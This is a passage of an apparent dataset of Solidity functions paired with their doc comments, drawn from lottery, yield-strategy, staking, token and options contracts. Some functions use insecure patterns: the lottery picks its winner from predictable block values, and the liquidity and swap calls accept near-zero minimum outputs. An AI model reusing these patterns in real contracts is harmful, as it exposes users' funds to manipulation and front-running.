min;\r\n }\r\n \r\n result--;\r\n\r\n return result;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Start the new game.\r\n * @dev Checks ticket price changes, if exists new ticket price the price will be changed.\r\n * @dev Checks game status changes, if exists request for changing game status game status \r\n * @dev will be changed.\r\n */", "function_code": "function startGame() internal {\r\n require(isActive);\r\n\r\n game = block.number;\r\n if (newPrice != 0) {\r\n ticketPrice = newPrice;\r\n newPrice = 0;\r\n }\r\n if (toogleStatus) {\r\n isActive = !isActive;\r\n toogleStatus = false;\r\n }\r\n emit Game(game, now);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Pick the winner.\r\n * @dev Check game players, depends on player count provides next logic:\r\n * @dev - if in the game is only one player, by game rules the whole jackpot \r\n * @dev without commission returns to him.\r\n * @dev - if more than one player smart contract randomly selects one player, \r\n * @dev calculates commission and after that jackpot transfers to the winner,\r\n * @dev commision to founders.\r\n */", "function_code": "function pickTheWinner() internal {\r\n uint winner;\r\n uint toPlayer;\r\n if (players[game].length == 1) {\r\n toPlayer = jackpot[game];\r\n players[game][0].transfer(jackpot[game]);\r\n winner = 0;\r\n } else {\r\n winner = randomNumber(\r\n 0,\r\n players[game].length - 1,\r\n block.timestamp,\r\n block.difficulty,\r\n block.number,\r\n blockhash(block.number - 1)\r\n );\r\n \r\n uint distribute = jackpot[game] * fee / 100;\r\n toPlayer = jackpot[game] - distribute;\r\n players[game][winner].transfer(toPlayer);\r\n\r\n transferToPartner(players[game][winner]);\r\n \r\n distribute -= paidToPartners;\r\n bool result = address(fundsDistributor).call.gas(30000).value(distribute)();\r\n if (!result) {\r\n revert();\r\n }\r\n }\r\n \r\n paidToPartners = 0;\r\n stats.newWinner(\r\n players[game][winner],\r\n game,\r\n players[game].length,\r\n toPlayer,\r\n gType,\r\n winner\r\n );\r\n \r\n allTimeJackpot += toPlayer;\r\n allTimePlayers += players[game].length;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Checks if the player is in referral system.\r\n * @dev Sending earned ether to partners.\r\n *\r\n * @param partner Partner address.\r\n * @param referral Player address.\r\n */", "function_code": "function processReferralSystem(address partner, address referral) \r\n internal \r\n {\r\n address partnerRef = referralInstance.getPartnerByReferral(referral);\r\n if (partner != address(0) || partnerRef != address(0)) {\r\n if (partnerRef == address(0)) {\r\n referralInstance.addReferral(partner, referral);\r\n partnerRef = partner;\r\n }\r\n\r\n if (players[game].length > 1) {\r\n transferToPartner(referral);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Sending earned ether to partners.\r\n *\r\n * @param referral Player address.\r\n */", "function_code": "function transferToPartner(address referral) internal {\r\n address partner = referralInstance.getPartnerByReferral(referral);\r\n if (partner != address(0)) {\r\n uint sum = getPartnerAmount(partner);\r\n if (sum != 0) {\r\n partner.transfer(sum);\r\n paidToPartners += sum;\r\n\r\n emit ToPartner(partner, referral, sum, now);\r\n\r\n transferToSalesPartner(partner);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Sending earned ether to sales partners.\r\n *\r\n * @param partner Partner address.\r\n */", "function_code": "function transferToSalesPartner(address partner) internal {\r\n address salesPartner = referralInstance.getSalesPartner(partner);\r\n if (salesPartner != address(0)) {\r\n uint sum = getSalesPartnerAmount(partner);\r\n if (sum != 0) {\r\n salesPartner.transfer(sum);\r\n paidToPartners += sum;\r\n\r\n emit ToSalesPartner(salesPartner, partner, sum, now);\r\n } \r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Uses the Curve protocol to convert the wbtc asset into to mixed renwbtc token.\r\n */", "function_code": "function mixFromWBTC() internal {\r\n uint256 wbtcBalance = IERC20(wbtc).balanceOf(address(this));\r\n if (wbtcBalance > 0) {\r\n IERC20(wbtc).safeApprove(curve, 0);\r\n IERC20(wbtc).safeApprove(curve, wbtcBalance);\r\n // we can accept 0 as minimum because this is called only by a trusted role\r\n uint256 minimum = 0;\r\n uint256[2] memory coinAmounts = wrapCoinAmount(wbtcBalance);\r\n ICurveFiWbtc(curve).add_liquidity(\r\n coinAmounts, minimum\r\n );\r\n }\r\n // now we have the mixed token\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Uses the Curve protocol to convert the mixed token back into the wbtc asset. If it cannot\r\n * acquire the limit amount, it will acquire the maximum it can.\r\n */", "function_code": "function mixToWBTC(uint256 wbtcLimit) internal {\r\n uint256 mixTokenBalance = IERC20(mixToken).balanceOf(address(this));\r\n\r\n // this is the maximum number of wbtc we can get for our mixed token\r\n uint256 wbtcMaximumAmount = wbtcValueFromMixToken(mixTokenBalance);\r\n if (wbtcMaximumAmount == 0) {\r\n return;\r\n }\r\n\r\n if (wbtcLimit < wbtcMaximumAmount) {\r\n // we want less than what we can get, we ask for the exact amount\r\n // now we can remove the liquidity\r\n uint256[2] memory tokenAmounts = wrapCoinAmount(wbtcLimit);\r\n IERC20(mixToken).safeApprove(curve, 0);\r\n IERC20(mixToken).safeApprove(curve, mixTokenBalance);\r\n ICurveFiWbtc(curve).remove_liquidity_imbalance(\r\n tokenAmounts, mixTokenBalance\r\n );\r\n } else {\r\n // we want more than we can get, so we withdraw everything\r\n IERC20(mixToken).safeApprove(curve, 0);\r\n IERC20(mixToken).safeApprove(curve, mixTokenBalance);\r\n ICurveFiWbtc(curve).remove_liquidity_one_coin(mixTokenBalance, int128(tokenIndex), 0);\r\n }\r\n // now we have wbtc asset\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Withdraws an wbtc asset from the strategy to the vault in the specified amount by asking\r\n * by removing imbalanced liquidity from the Curve protocol. The rest is deposited back to the\r\n * Curve protocol pool. If the amount requested cannot be obtained, the method will get as much\r\n * as we have.\r\n */", "function_code": "function withdrawToVault(uint256 amountWbtc) external restricted {\r\n // withdraw all from gauge\r\n Gauge(gauge).withdraw(Gauge(gauge).balanceOf(address(this)));\r\n // convert the mix to WBTC, but get at most amountWbtc\r\n mixToWBTC(amountWbtc);\r\n // we can transfer the asset to the vault\r\n uint256 actualBalance = IERC20(wbtc).balanceOf(address(this));\r\n if (actualBalance > 0) {\r\n IERC20(wbtc).safeTransfer(vault, Math.min(amountWbtc, actualBalance));\r\n }\r\n\r\n // invest back the rest\r\n investAllUnderlying();\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Withdraws all assets from the vault.\r\n */", "function_code": "function withdrawAllToVault() external restricted {\r\n // withdraw all from gauge\r\n Gauge(gauge).withdraw(Gauge(gauge).balanceOf(address(this)));\r\n // convert the mix to WBTC, we want the entire balance\r\n mixToWBTC(uint256(~0));\r\n // we can transfer the asset to the vault\r\n uint256 actualBalance = IERC20(wbtc).balanceOf(address(this));\r\n if (actualBalance > 0) {\r\n IERC20(wbtc).safeTransfer(vault, actualBalance);\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Invests all wbtc assets into our mixToken vault.\r\n */", "function_code": "function investAllUnderlying() internal {\r\n // convert the entire balance not yet invested into mixToken first\r\n mixFromWBTC();\r\n\r\n // then deposit into the mixToken vault\r\n uint256 mixTokenBalance = IERC20(mixToken).balanceOf(address(this));\r\n if (mixTokenBalance > 0) {\r\n IERC20(mixToken).safeApprove(gauge, 0);\r\n IERC20(mixToken).safeApprove(gauge, mixTokenBalance);\r\n Gauge(gauge).deposit(mixTokenBalance);\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Salvages a token. We cannot salvage mixToken tokens, CRV, or wbtc assets.\r\n */", "function_code": "function salvage(address recipient, address token, uint256 amount) public onlyGovernance {\r\n // To make sure that governance cannot come in and take away the coins\r\n require(!unsalvagableTokens[token], \"token is defined as not salvageable\");\r\n IERC20(token).safeTransfer(recipient, amount);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Returns the wbtc invested balance. The is the wbtc amount in this stragey, plus the gauge\r\n * amount of the mixed token converted back to wbtc.\r\n */", "function_code": "function investedUnderlyingBalance() public view returns (uint256) {\r\n uint256 gaugeBalance = Gauge(gauge).balanceOf(address(this));\r\n uint256 wbtcBalance = IERC20(wbtc).balanceOf(address(this));\r\n if (gaugeBalance == 0) {\r\n // !!! if we have 0 balance in gauge, the conversion to wbtc reverts in Curve\r\n // !!! this if-statement is necessary to avoid transaction reverts\r\n return wbtcBalance;\r\n }\r\n uint256 investedBalance = wbtcValueFromMixToken(gaugeBalance);\r\n return investedBalance.add(wbtcBalance);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Claims the CRV crop, converts it to WBTC/renWBTC on Uniswap\r\n */", "function_code": "function claimAndLiquidateCrv() internal {\r\n if (!sell) {\r\n // Profits can be disabled for possible simplified and rapid exit\r\n emit ProfitsNotCollected();\r\n return;\r\n }\r\n Mintr(mintr).mint(gauge);\r\n // claiming rewards and liquidating them\r\n uint256 crvBalance = IERC20(crv).balanceOf(address(this));\r\n emit Liquidating(crvBalance);\r\n if (crvBalance > sellFloor) {\r\n uint256 wbtcBalanceBefore = IERC20(wbtc).balanceOf(address(this));\r\n IERC20(crv).safeApprove(uni, 0);\r\n IERC20(crv).safeApprove(uni, crvBalance);\r\n // we can accept 1 as the minimum because this will be called only by a trusted worker\r\n IUniswapV2Router02(uni).swapExactTokensForTokens(\r\n crvBalance, 1, uniswap_CRV2WBTC, address(this), block.timestamp\r\n );\r\n\r\n // now we have WBTC\r\n notifyProfit(wbtcBalanceBefore, IERC20(wbtc).balanceOf(address(this)));\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Allows user to destroy a specified token\r\n * This would allow a user to claim his prize for the destroyed token\r\n * @param _tokenId uint256 ID of the token\r\n */", "function_code": "function claimReward(uint256 _tokenId) public {\r\n require(winningTokenId > 0, \"The is not winner yet!\");\r\n require(_tokenId == winningTokenId, \"This token is not the winner!\");\r\n \r\n ensureAddressIsTokenOwner(msg.sender, _tokenId);\r\n \r\n winnerAddress = msg.sender;\r\n \r\n emit RewardIsClaimed(msg.sender, _tokenId);\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Allows the buyer of at least the number of WLC tokens, specified in WLCRewardAmount\r\n * to receive a DCC as a bonus.\r\n * This can only be called by the deployed WLC contract, by the address specified in WLCAdress\r\n * @param _boughtWLCAmount uint256 the number of bought WLC tokens\r\n * @param _owner address the address of the buyer\r\n */", "function_code": "function getWLCReward(uint256 _boughtWLCAmount, address _owner) public returns (uint256 _remaining) {\r\n if (WLCAdress != address(0) && WLCRewardAmount > 0 && _boughtWLCAmount >= WLCRewardAmount) {\r\n require(WLCAdress == msg.sender, \"You cannot invoke this function directly!\");\r\n \r\n uint256 DCCAmount = scalePurchaseTokenAmountToMatchRemainingTokens(_boughtWLCAmount / WLCRewardAmount);\r\n \r\n if (DCCAmount > 0) {\r\n _addTokensToAddress(_owner, DCCAmount);\r\n \r\n emit Buy(_owner, DCCAmount, nextTokenId - DCCAmount, nextTokenId - 1);\r\n \r\n chooseWinner();\r\n \r\n return _boughtWLCAmount - (DCCAmount * WLCRewardAmount);\r\n }\r\n }\r\n \r\n return _boughtWLCAmount;\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Allows an onwer of WLC token to excange it for DCC token\r\n * This can only be called by the deployed WLC contract, by the address specified in WLCAdress\r\n * @param _owner address the address of the exchanger\r\n */", "function_code": "function getForWLC(address _owner) public {\r\n require(WLCAdress == msg.sender, \"You cannot invoke this function directly!\");\r\n \r\n require(nextTokenId <= totalTokenSupply, \"Not enough tokens are available for purchase!\");\r\n \r\n _addTokensToAddress(_owner, 1);\r\n \r\n emit Buy(_owner, 1, nextTokenId - 1, nextTokenId - 1);\r\n \r\n chooseWinner();\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * @dev apply BDR exchange Abc\r\n * @param _value uint256 amount of BDR to exchange\r\n * @return uint256 the sequence of exchange request\r\n */", "function_code": "function applyExchangeToken(uint256 _value) public whenNotPaused returns (uint256) {\r\n uint256 trxSeq = applyCounts;\r\n require(exchangeTrx[trxSeq].from == address(0),\"trxSeq already exist\");\r\n require(balances[msg.sender] >= _value);\r\n exchangeTrx[trxSeq].executed = false;\r\n exchangeTrx[trxSeq].from = msg.sender;\r\n exchangeTrx[trxSeq].value = _value;\r\n applyCounts = applyCounts.add(1);\r\n balances[address(this)] = balances[address(this)].add(_value);\r\n balances[exchangeTrx[trxSeq].from] = balances[exchangeTrx[trxSeq].from].sub(_value);\r\n exchangeLock[exchangeTrx[trxSeq].from] = exchangeLock[exchangeTrx[trxSeq].from].add(_value);\r\n emit ApplyExchangeToken(exchangeTrx[trxSeq].from,exchangeTrx[trxSeq].value,trxSeq);\r\n emit Transfer(msg.sender,address(this),_value);\r\n return trxSeq;\r\n }", "version": "0.5.4"} {"comment": "/**\r\n * @dev signer confirms one exchange request\r\n * @param _trxSeq uint256 the Sequence of exchange request\r\n */", "function_code": "function confirmExchangeTrx(uint256 _trxSeq) public onlySigner {\r\n require(exchangeTrx[_trxSeq].from != address(0),\"_trxSeq not exist\");\r\n require(exchangeTrx[_trxSeq].signers.length < requestSigners,\"trx already has enough signers\");\r\n require(exchangeTrx[_trxSeq].executed == false,\"trx already executed\");\r\n require(isConfirmer(_trxSeq, msg.sender) == false,\"signer already confirmed\");\r\n exchangeTrx[_trxSeq].signers.push(msg.sender);\r\n emit ConfirmTrx(msg.sender, _trxSeq);\r\n }", "version": "0.5.4"} {"comment": "/**\r\n * @dev signer cancel confirmed exchange request\r\n * @param _trxSeq uint256 the Sequence of exchange request\r\n */", "function_code": "function cancelConfirm(uint256 _trxSeq) public onlySigner {\r\n require(exchangeTrx[_trxSeq].from != address(0),\"_trxSeq not exist\");\r\n require(isConfirmer(_trxSeq, msg.sender),\"Signer didn't confirm\");\r\n require(exchangeTrx[_trxSeq].executed == false,\"trx already executed\");\r\n uint256 len = exchangeTrx[_trxSeq].signers.length;\r\n for(uint256 i = 0;i < len;i++){\r\n if(exchangeTrx[_trxSeq].signers[i] == msg.sender){\r\n exchangeTrx[_trxSeq].signers[i] = exchangeTrx[_trxSeq].signers[len.sub(1)] ;\r\n exchangeTrx[_trxSeq].signers.length --;\r\n break;\r\n }\r\n }\r\n emit CancleConfirmTrx(msg.sender,_trxSeq);\r\n }", "version": "0.5.4"} {"comment": "/**\r\n * @dev execute exchange request which confirmed by enough signers\r\n * @param _trxSeq uint256 the Sequence of exchange request\r\n */", "function_code": "function executeExchangeTrx(uint256 _trxSeq) public whenNotPaused{\r\n address from = exchangeTrx[_trxSeq].from;\r\n uint256 value = exchangeTrx[_trxSeq].value;\r\n require(from != address(0),\"trxSeq not exist\");\r\n require(exchangeTrx[_trxSeq].executed == false,\"trxSeq has executed\");\r\n require(exchangeTrx[_trxSeq].signers.length >= requestSigners);\r\n require(from == msg.sender|| isSigner[msg.sender]);\r\n require(value <= balances[address(this)]);\r\n _burn(address(this), value);\r\n exchangeLock[from] = exchangeLock[from].sub(value);\r\n exchangeTrx[_trxSeq].executed = true;\r\n AbcInterface(AbcInstance).tokenFallback(from,value,bytes(\"\"));\r\n emit TokenExchange(exchangeTrx[_trxSeq].from,exchangeTrx[_trxSeq].value,false);\r\n }", "version": "0.5.4"} {"comment": "/**\r\n * @dev Contract initialization\r\n * @param _ownerAddress address Token owner address\r\n * @param _startTime uint256 Crowdsale end time\r\n *\r\n */", "function_code": "function SmartCityToken(address _ownerAddress, uint256 _startTime) public {\r\n owner = _ownerAddress; // token Owner\r\n startTime = _startTime; // token Start Time\r\n unlockOwnerDate = startTime + 2 years;\r\n balances[owner] = totalSupply; // all tokens are initially allocated to token owner\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Workaround for vulnerability described here: https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM\r\n */", "function_code": "function _approve(address _spender, uint256 _value) internal returns(bool success) {\r\n require((_value == 0) || (allowances[msg.sender][_spender] == 0));\r\n\r\n allowances[msg.sender][_spender] = _value; // Set spender allowance\r\n\r\n Approval(msg.sender, _spender, _value); // Trigger Approval event\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Burns all the tokens which has not been sold during ICO\r\n */", "function_code": "function burn() public {\r\n if (!burned && now > startTime) {\r\n uint256 diff = balances[owner].sub(amountReserved); // Get the amount of unsold tokens\r\n\r\n balances[owner] = amountReserved;\r\n totalSupply = totalSupply.sub(diff); // Reduce total provision number\r\n\r\n burned = true;\r\n Burned(diff); // Trigger Burned event\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice Deploys token\r\n * @param _symbol Token symbol\r\n * @param _name Token name\r\n * @param _decimals Token decimals\r\n * @param _totalSupply Token total supply\r\n * @param _tokenOwner Owner of the deployed token\r\n * @param _tokenRegistry Token Registry\r\n */", "function_code": "function deployToken(\r\n string calldata _symbol,\r\n string calldata _name,\r\n uint8 _decimals,\r\n uint256 _totalSupply,\r\n address _tokenOwner,\r\n address _tokenRegistry,\r\n bool _saveHoldersHistory,\r\n address _allowable,\r\n address _getter\r\n )\r\n onlyOwner //owner - TokenRegistry\r\n external\r\n returns (address)\r\n {\r\n address tokenAddress = address(new InveniamToken(\r\n _symbol,\r\n _name,\r\n _decimals,\r\n _totalSupply * uint256(10)**_decimals,\r\n _tokenOwner,\r\n _tokenRegistry,\r\n _saveHoldersHistory,\r\n _allowable,\r\n _getter\r\n ));\r\n Allowable(tokenAddress).transferOwnership(_tokenOwner);\r\n return tokenAddress;\r\n }", "version": "0.5.12"} {"comment": "// Stake SYRUP tokens to StakingPool", "function_code": "function deposit(uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[0];\r\n UserInfo storage user = userInfo[msg.sender];\r\n\r\n // require (_amount.add(user.amount) <= maxStaking, 'exceed max stake');\r\n\r\n updatePool(0);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);\r\n if(pending > 0) {\r\n rewardToken.safeTransfer(address(msg.sender), pending);\r\n }\r\n }\r\n if(_amount > 0) {\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n totalStaked = totalStaked.add(_amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);\r\n\r\n emit Deposit(msg.sender, _amount);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Reserved for owner to mint", "function_code": "function ownerMint(address to, uint amount) public onlyOwner {\n\n uint mintsRemaining = ownerMintsRemaining;\n\n /// @notice Owner mints cannot be minted after the maximum has been reached\n require(mintsRemaining > 0, \"Groupies: Max owner mint limit reached\");\n\n if (amount > mintsRemaining){\n amount = mintsRemaining;\n }\n\n uint currentTotalSupply = totalSupply;\n\n _mintAmountTo(to, amount, currentTotalSupply);\n\n ownerMintsRemaining = mintsRemaining - amount;\n\n totalSupply = currentTotalSupply + amount;\n }", "version": "0.8.6"} {"comment": "/**\r\n * @notice Adds given role to the user\r\n * @param _user Address of user wallet\r\n * @param _role Role name\r\n * param _withApproval Flag whether we need an approval\r\n */", "function_code": "function addRole(\r\n address _user,\r\n bytes32 _role,\r\n bool _withApproval,\r\n bool _withSameRole,\r\n bytes32[] storage roleNames,\r\n mapping(bytes32 => mapping(address => AddressList.Data)) storage roleUserData,\r\n mapping(bytes32 => address[]) storage roleUsers,\r\n mapping(address => mapping(bytes32 => address)) storage addRoleInitiators\r\n )\r\n public\r\n {\r\n if (_withApproval) {\r\n _checkRoleLevel(_role, _withSameRole, roleUserData);\r\n _checkInitiator(addRoleInitiators[_user][_role]);\r\n }\r\n require(isExists(_role, roleNames), ERROR_ROLE_NOT_FOUND);\r\n _user.addTo(roleUserData[_role], roleUsers[_role]);\r\n emit RoleAdded(_user, _role);\r\n if (_withApproval) {\r\n delete addRoleInitiators[_user][_role];\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Requests to add given role to the user\r\n * @param _user Address of user wallet\r\n * @param _role Role name\r\n */", "function_code": "function addRoleRequest(\r\n address _user,\r\n bytes32 _role,\r\n bool _withSameRole,\r\n mapping(bytes32 => mapping(address => AddressList.Data)) storage roleUserData,\r\n mapping(address => mapping(bytes32 => address)) storage addRoleInitiators\r\n )\r\n public\r\n {\r\n _checkRoleLevel(_role, _withSameRole, roleUserData);\r\n addRoleInitiators[_user][_role] = msg.sender;\r\n emit RoleAddingRequested(_user, _role);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Removes given role from the user\r\n * @param _user Address of user wallet\r\n * @param _role Role name\r\n */", "function_code": "function removeRole(\r\n address _user,\r\n bytes32 _role,\r\n bool _withApproval,\r\n bool _withSameRole,\r\n bytes32[] storage roleNames,\r\n mapping(bytes32 => mapping(address => AddressList.Data)) storage roleUserData,\r\n mapping(bytes32 => address[]) storage roleUsers,\r\n mapping(address => mapping(bytes32 => address)) storage removeRoleInitiators\r\n )\r\n public\r\n {\r\n if (_withApproval) {\r\n _checkRoleLevel(_role, _withSameRole, roleUserData);\r\n _checkInitiator(removeRoleInitiators[_user][_role]);\r\n }\r\n require(isExists(_role, roleNames), ERROR_ROLE_NOT_FOUND);\r\n _user.removeFrom(roleUserData[_role], roleUsers[_role]);\r\n emit RoleRemoved(_user, _role);\r\n if (_withApproval) {\r\n delete removeRoleInitiators[_user][_role];\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Requests to remove given role to the user\r\n * @param _user Address of user wallet\r\n * @param _role Role name\r\n */", "function_code": "function removeRoleRequest(\r\n address _user,\r\n bytes32 _role,\r\n bool _withSameRole,\r\n mapping(bytes32 => mapping(address => AddressList.Data)) storage roleUserData,\r\n mapping(address => mapping(bytes32 => address)) storage removeRoleInitiators\r\n )\r\n public\r\n {\r\n _checkRoleLevel(_role, _withSameRole, roleUserData);\r\n removeRoleInitiators[_user][_role] = msg.sender;\r\n emit RoleRemovingRequested(_user, _role);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Checks whether the role has been already added\r\n * @param _role Role name\r\n */", "function_code": "function isExists(\r\n bytes32 _role,\r\n bytes32[] storage roleNames\r\n )\r\n private\r\n view\r\n returns (bool)\r\n {\r\n for (uint i = 0; i < roleNames.length; i++) {\r\n if (_role == roleNames[i]) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Override the base isApprovedForAll(address owner, address operator) to allow us to\r\n * specifically allow the opense operator to transfer tokens\r\n * \r\n * @param owner_ owner address\r\n * @param operator_ operator address\r\n * @return bool if the operator is approved for all\r\n */", "function_code": "function isApprovedForAll(\r\n address owner_,\r\n address operator_\r\n ) public view override returns (bool) {\r\n // Whitelist OpenSea proxy contract for easy trading.\r\n ProxyRegistry proxyRegistry = ProxyRegistry(_proxyAddress);\r\n if (address(proxyRegistry.proxies(owner_)) == operator_) {\r\n return true;\r\n }\r\n return ERC1155.isApprovedForAll(owner_, operator_);\r\n }", "version": "0.8.0"} {"comment": "// View function to see pending JINs on frontend.", "function_code": "function pendingJin(uint256 _pid, address _user)\r\n external\r\n view\r\n returns (uint256)\r\n {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_user];\r\n uint256 accJinPerShare = pool.accJinPerShare;\r\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\r\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\r\n uint256 multiplier = getMultiplier(\r\n pool.lastRewardBlock,\r\n block.number\r\n );\r\n uint256 jinReward = multiplier\r\n .mul(jinPerBlock)\r\n .mul(pool.allocPoint)\r\n .div(totalAllocPoint);\r\n accJinPerShare = accJinPerShare.add(\r\n jinReward.mul(1e12).div(lpSupply)\r\n );\r\n }\r\n return\r\n user.amount.mul(accJinPerShare).div(1e12).sub(user.rewardDebt);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Withdraws the tokens that have been deposited\n/// Only `withdrawer` can call this.\n/// @param _to The address where the withdrawn tokens should go", "function_code": "function withdraw(address payable _to) external {\n uint256 balance = token.balanceOf(address(this));\n require(msg.sender == withdrawer, \"the caller is not the withdrawer\");\n require(block.timestamp >= release_at || service_registry.deprecated(), \"deposit not released yet\");\n require(balance > 0, \"nothing to withdraw\");\n require(token.transfer(_to, balance), \"token didn't transfer\");\n selfdestruct(_to); // The contract can disappear.\n }", "version": "0.8.7"} {"comment": "/**\r\n * Set fee parameters.\r\n *\r\n * @param _fixedFee fixed fee in token units\r\n * @param _minVariableFee minimum variable fee in token units\r\n * @param _maxVariableFee maximum variable fee in token units\r\n * @param _variableFeeNumerator variable fee numerator\r\n */", "function_code": "function setFeeParameters (\r\n uint256 _fixedFee,\r\n uint256 _minVariableFee,\r\n uint256 _maxVariableFee,\r\n uint256 _variableFeeNumerator) public delegatable payable {\r\n require (msg.sender == owner);\r\n\r\n require (_minVariableFee <= _maxVariableFee);\r\n require (_variableFeeNumerator <= MAX_FEE_NUMERATOR);\r\n\r\n fixedFee = _fixedFee;\r\n minVariableFee = _minVariableFee;\r\n maxVariableFee = _maxVariableFee;\r\n variableFeeNumerator = _variableFeeNumerator;\r\n\r\n FeeChange (\r\n _fixedFee, _minVariableFee, _maxVariableFee, _variableFeeNumerator);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * Calculate fee for transfer of given number of tokens.\r\n *\r\n * @param _amount transfer amount to calculate fee for\r\n * @return fee for transfer of given amount\r\n */", "function_code": "function calculateFee (uint256 _amount)\r\n public delegatable view returns (uint256 _fee) {\r\n require (_amount <= MAX_TOKENS_COUNT);\r\n\r\n _fee = safeMul (_amount, variableFeeNumerator) / FEE_DENOMINATOR;\r\n if (_fee < minVariableFee) _fee = minVariableFee;\r\n if (_fee > maxVariableFee) _fee = maxVariableFee;\r\n _fee = safeAdd (_fee, fixedFee);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met.\r\n * @param beneficiary Address performing the token purchase\r\n * @param weiAmount Value in wei involved in the purchase\r\n */", "function_code": "function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal {\r\n require(beneficiary != address(0), \"beneficiary is the zero address\");\r\n require(weiAmount != 0, \"weiAmount is 0\");\r\n require(weiAmount >= minDeposit && weiAmount <= maxDeposit, \"Amount should be within 0.05 eth and 1 eth\");\r\n require(weiRaised().add(weiAmount) <= fundingTarget, \"Crowdsale goal reached\");\r\n \r\n uint256 _existingbalance = balances[beneficiary];\r\n uint256 _newBalance = _existingbalance.add(weiAmount);\r\n require(_newBalance <= maxDeposit, \"Maximum deposit exceeded!!!\");\r\n \r\n balances[beneficiary] = _newBalance;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * \r\n * @dev Kickstart the ICO by setting the opning time and manually seting the closing time to a week after the opening time.\r\n */", "function_code": "function startIco( uint256 _openingTime) external onlyAdmin {\r\n require(_openingTime >= block.timestamp, \"JPEGVaultICO: opening time is before current block timestamp\");\r\n require(openingTime == 0 || hasClosed(), \"You can't restart ICO in the middle of sales period\");\r\n openingTime = _openingTime;\r\n closingTime = openingTime + 1 weeks;\r\n }", "version": "0.8.7"} {"comment": "// This is used to prevent stack too deep errors", "function_code": "function calculateFee(\n int128 _gLiq,\n int128[] memory _bals,\n Storage.Curve storage curve,\n int128[] memory _weights\n ) internal view returns (int128 psi_) {\n int128 _beta = curve.beta;\n int128 _delta = curve.delta;\n\n psi_ = calculateFee(_gLiq, _bals, _beta, _delta, _weights);\n }", "version": "0.7.3"} {"comment": "// Admin calls this function.", "function_code": "function setPoolInfo(\r\n uint256 _poolId,\r\n address _vault,\r\n IERC20 _token,\r\n uint256 _allocPoint,\r\n bool _withUpdate\r\n ) external onlyOwner {\r\n if (_withUpdate) {\r\n massUpdatePools();\r\n }\r\n\r\n if (_poolId >= poolLength) {\r\n poolLength = _poolId + 1;\r\n }\r\n\r\n vaultMap[_poolId] = _vault;\r\n\r\n totalAllocPoint = totalAllocPoint.sub(poolMap[_vault].allocPoint).add(_allocPoint);\r\n poolMap[_vault].allocPoint = _allocPoint;\r\n\r\n _token.approve(sodaMaster.pool(), type(uint256).max);\r\n }", "version": "0.6.12"} {"comment": "// ===== Admin functions ===== //", "function_code": "function setFeeSchedule(\r\n uint _flatFee,\r\n uint _contractFee,\r\n uint _exerciseFee,\r\n uint _settlementFee\r\n ) public auth {\r\n flatFee = _flatFee;\r\n contractFee = _contractFee;\r\n exerciseFee = _exerciseFee;\r\n settlementFee = _settlementFee;\r\n\r\n require(contractFee < 5 ether);\r\n require(flatFee < 6.95 ether);\r\n require(exerciseFee < 20 ether);\r\n require(settlementFee < 20 ether);\r\n }", "version": "0.4.22"} {"comment": "// ========== PUT OPTIONS EXCHANGE ========== //", "function_code": "function putBtoWithSto(\r\n uint amount,\r\n uint expiration,\r\n bytes32 nonce,\r\n uint price,\r\n uint size,\r\n uint strike,\r\n uint validUntil,\r\n bytes32 r,\r\n bytes32 s,\r\n uint8 v\r\n ) public hasFee(amount) {\r\n bytes32 h = keccak256(Action.SellPutToOpen, expiration, nonce, price, size, strike, validUntil, this);\r\n address maker = _getMaker(h, v, r, s);\r\n\r\n _validateOrder(amount, expiration, h, maker, price, validUntil, size, strike);\r\n _buyPutToOpen(amount, expiration, price, strike, msg.sender);\r\n _sellPutToOpen(amount, expiration, price, strike, maker);\r\n }", "version": "0.4.22"} {"comment": "// Deposit tokens to Pool for Token allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = 